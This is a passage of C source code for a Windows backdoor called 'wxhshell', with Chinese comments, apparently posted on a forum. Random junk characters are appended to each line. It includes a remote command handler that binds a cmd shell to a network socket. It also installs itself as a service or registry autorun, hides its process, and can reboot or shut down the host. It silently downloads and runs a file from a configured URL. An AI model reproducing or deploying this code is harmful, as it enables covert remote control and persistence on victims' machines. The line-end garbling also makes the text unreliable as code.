  // 帮助 ^[ id8  
  case '?': { O+'Pq,hn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qrt+{5/t  
    break; R;;)7|;~  
  } A\SbuRty  
  // 安装 j l7e6#zu  
  case 'i': { ly^F?.e-  
    if(Install()) !N)oi $T%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $s) ^zm~  
    else VvoJ85  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1) @Wcc.  
    break; c)$/Uu  
    } s';jk(i3  
  // 卸载 .Qi`5C:U  
  case 'r': { yLY2_p- X  
    if(Uninstall()) Gt 2rJ<>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {AcKBi b  
    else *, {b]6v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bAW;2 NB  
    break; @l@lE0  
    } "ENgu/A!  
  // 显示 wxhshell 所在路径 u' r ;-|7  
  case 'p': { @V<tg"(c  
    char svExeFile[MAX_PATH]; !_c<j4O  
    strcpy(svExeFile,"\n\r"); E^|b3G6T  
      strcat(svExeFile,ExeFile); Z NuyGo;  
        send(wsh,svExeFile,strlen(svExeFile),0); ?j $z[_K  
    break; AS8T!  
    } b"f4}b  
  // 重启 O:u^jcXA  
  case 'b': { S&R~*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %n-LDn  
    if(Boot(REBOOT)) ;w@:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Mtb~^joG  
    else { ]")i~-|R  
    closesocket(wsh); YjsaTdZ!&  
    ExitThread(0); #b{otc)  
    } ;vd%=vR  
    break; 9g 2x+@5T^  
    } xeu] X|,  
  // 关机 {N _v4})  
  case 'd': { <xc"y|7X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q Rtgk  
    if(Boot(SHUTDOWN)) %VwB ?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N"2@y aN  
    else { r]8B6iV  
    closesocket(wsh); !H.&"~w@  
    ExitThread(0); j)J4[j  
    } ; /EH@V|  
    break; e"2 wXd_}  
    } g\X"E>X  
  // 获取shell 8LiRZ"  
  case 's': { g3Ff<P P  
    CmdShell(wsh); P;A"`Il  
    closesocket(wsh); KsHovv-A  
    ExitThread(0); p 6jR,m8S  
    break; (hmasy6hM  
  } I5 [r-r  
  // 退出 SYl :X   
  case 'x': { fV;&Ag*ZiV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aY"qEH7]  
    CloseIt(wsh); /'ybl^Km  
    break; d)dIIzv  
    } Mu{mj4Y{  
  // 离开 \yM[?/<  
  case 'q': { iVmf/N@A|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6!+"7r6  
    closesocket(wsh); N7Ne  
    WSACleanup(); }*? e w  
    exit(1); d5bj$oH  
    break; [q_Yf!(m-  
        }  ~LkReQI  
  } LsBDfp5/  
  } |!&,etu  
~1}NQa(  
  // 提示信息 9]hc{\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s$`evX7D  
} N}s[0s  
  } sPbtv[bC  
+mAMCM2N  
  return; ^hZwm8G  
} Y B)1dzU  
x}F.<`  
// shell模块句柄 S _#UEf  
int CmdShell(SOCKET sock) /&ph-4\i  
{ |=GRPvvi  
STARTUPINFO si; #JTi]U6`  
ZeroMemory(&si,sizeof(si)); \Z57UNI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x\t>|DB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !y*V;J  
PROCESS_INFORMATION ProcessInfo; )(?s=<H  
char cmdline[]="cmd"; r+ vtKb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1 w\Y ._jK  
  return 0; - FE)  
} <2,@rYe/  
I,?bZ&@8  
// 自身启动模式 ,Hp9Gkm8I/  
int StartFromService(void) G::6?+S  
{ BPi>SI0  
typedef struct hWDgMmo7  
{ Gt-  -7S  
  DWORD ExitStatus; M: `FZ}&L  
  DWORD PebBaseAddress; d(fgv  
  DWORD AffinityMask; l:faI&o.@  
  DWORD BasePriority; y@hdN=-  
  ULONG UniqueProcessId; V <k_Q@K  
  ULONG InheritedFromUniqueProcessId; z<@$$Z=0UF  
}   PROCESS_BASIC_INFORMATION; uw]e$,x?  
vqL{~tR  
PROCNTQSIP NtQueryInformationProcess; q^12Rj;H  
FRfMtxvU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /G84T,H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L.|GC7$0  
P,wFib^1  
  HANDLE             hProcess; Ke,-8e#Q  
  PROCESS_BASIC_INFORMATION pbi; #0^Q UOp  
%DRDe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rJNf&x%6  
  if(NULL == hInst ) return 0; c#G(7.0MU  
TF3Tha]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `knw1,qL"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ha 3XH_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wmoOp;C  
)bcMKZ   
  if (!NtQueryInformationProcess) return 0; J qU%$[w  
AM Rj N;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %%-kUe  
  if(!hProcess) return 0; =z@'vu$Fh  
W>@+H"pZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O|gb{  
"@ox=  
  CloseHandle(hProcess);  sRoZvp 5  
}]?RngTt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sI^1c$sBN  
if(hProcess==NULL) return 0; j*6!7u.,K  
}hBv?B2/1  
HMODULE hMod; otPEJ^W&  
char procName[255]; xr6Q5/p1  
unsigned long cbNeeded; Rl S=^}>  
IA+>dr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *w%;$\^  
EIF[e|kZ<  
  CloseHandle(hProcess); `Cb$8;)z  
.b]oB_  
if(strstr(procName,"services")) return 1; // 以服务启动 &0ULj6jj  
-<<!eH  
  return 0; // 注册表启动 ow`\7qr  
} t@4vEKw?.X  
WcUeWGC>  
// 主模块 Ezml LFp.  
int StartWxhshell(LPSTR lpCmdLine)  m+vwp\0  
{ TZHqn6  
  SOCKET wsl; s5z@`M5'm  
BOOL val=TRUE; Q!|71{5U  
  int port=0; >>!+Ri\@  
  struct sockaddr_in door; ;M JM~\L0  
Dd{{ d?;B  
  if(wscfg.ws_autoins) Install(); cu""vtK   
(d!vm\-PH  
port=atoi(lpCmdLine); "#JoB X@yE  
")o.x7~N  
if(port<=0) port=wscfg.ws_port; OPjscc5  
( /N`Wu  
  WSADATA data; =]Ek12.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kW(8i}bg  
}Rf } iG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jEI!t^#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wicg8[T=B  
  door.sin_family = AF_INET; V5A7w V3~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /Pf7=P  
  door.sin_port = htons(port); k5PzY!N  
VLOyUt~O#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { km3-Hp1  
closesocket(wsl); /_56H?w\  
return 1; %R_8`4IQ  
} W>, b1_k c  
4 A  
  if(listen(wsl,2) == INVALID_SOCKET) { \ tQi7yj4  
closesocket(wsl); N.2rF  
return 1; )<~b*^kl\  
} */S ,CV  
  Wxhshell(wsl); f.8L<<5 c  
  WSACleanup(); Vj:PNt[  
ZERd#7@m+  
return 0; f{b"=hQ  
>4ALF[oH1J  
} hz/5k%%UX  
?pVODnP k  
// 以NT服务方式启动 P|6m%y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J5l:_hZUV  
{ +q2l,{|?  
DWORD   status = 0; '~a!~F~>  
  DWORD   specificError = 0xfffffff; KT|$vw2b  
G N{.R7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^y h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B)c.`cfr*\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VX- f~  
  serviceStatus.dwWin32ExitCode     = 0; h<QXr'4+  
  serviceStatus.dwServiceSpecificExitCode = 0; LAvAjvRc  
  serviceStatus.dwCheckPoint       = 0; ~o8$/%Oeb/  
  serviceStatus.dwWaitHint       = 0; HAU8H'h  
swJwy~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .rMGI "  
  if (hServiceStatusHandle==0) return; wv*r}{%7g[  
2R1W[,Ga!  
status = GetLastError(); SWmdU]  
  if (status!=NO_ERROR) b. t]p  
{ H- S28%.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bZKK' d$I  
    serviceStatus.dwCheckPoint       = 0; TQ>1u  
    serviceStatus.dwWaitHint       = 0; !u=[/>  
    serviceStatus.dwWin32ExitCode     = status; N(IUNL  
    serviceStatus.dwServiceSpecificExitCode = specificError; aFbA=6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %f>V\z_C  
    return; PgxU;N7Y  
  } 6ZF5f^M^  
3_D$6/i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x JepDCUJ>  
  serviceStatus.dwCheckPoint       = 0; 3L;)asF  
  serviceStatus.dwWaitHint       = 0; b0 5h,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K~Xt`  
} "q%Q[^b  
#kxg|G[Ol  
// 处理NT服务事件,比如:启动、停止 UyvFR@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dM$]OAT  
{ ANWa%%\T  
switch(fdwControl) z:acrQwJ?1  
{ e0aeiG$/0  
case SERVICE_CONTROL_STOP: ZOU$do>O  
  serviceStatus.dwWin32ExitCode = 0; .lj\ H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v/(< fI^  
  serviceStatus.dwCheckPoint   = 0; {o;J'yjre1  
  serviceStatus.dwWaitHint     = 0; 0chBw~@*s  
  { M~^|dR)D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?6a:!^eL  
  } sKNN ahGjh  
  return; A}W&=m8!  
case SERVICE_CONTROL_PAUSE: CjD2FnjT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _I75[W!  
  break; <oO^ w&G  
case SERVICE_CONTROL_CONTINUE: PInU-"gG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <<[`;"CF  
  break; OI1&Z4Lx  
case SERVICE_CONTROL_INTERROGATE: P=eL24j  
  break; |>d5 6  
}; r`mfLA]d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b}axw+  
} TqzkF7;k4  
U@i+XZc"S  
// 标准应用程序主函数 c7sW:Yzil  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) # Z8<H  
{ A5 /Q:8b  
:Oy9`vv  
// 获取操作系统版本 &i6WVNGy  
OsIsNt=GetOsVer(); ,US]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F~&bgl[YZ  
v=@Z,-  
  // 从命令行安装 cO_En`F  
  if(strpbrk(lpCmdLine,"iI")) Install(); wzF/`z&0?6  
Gi?"  
  // 下载执行文件 O?rVa:\  
if(wscfg.ws_downexe) { U^:+J-z{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0oc5ahp  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1dHN<xy  
} He~) i)co  
P**h\+M>{  
if(!OsIsNt) { v2/@Pu!kg  
// 如果时win9x,隐藏进程并且设置为注册表启动 sBB>O@4  
HideProc(); j l%27Ld  
StartWxhshell(lpCmdLine); {rf.sN~M  
} m.Yj{u8zX  
else SW# 5px`  
  if(StartFromService()) o[&*vc)  
  // 以服务方式启动 YyjnyG  
  StartServiceCtrlDispatcher(DispatchTable); FK{Vnj0  
else L;wzvz\+  
  // 普通方式启动 =c[9:&5Q  
  StartWxhshell(lpCmdLine); Fzt{^%\`  
+VCG/J  
return 0; ^ yyL4{/  
}
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只看该作者 1 发表于: 2006-10-10
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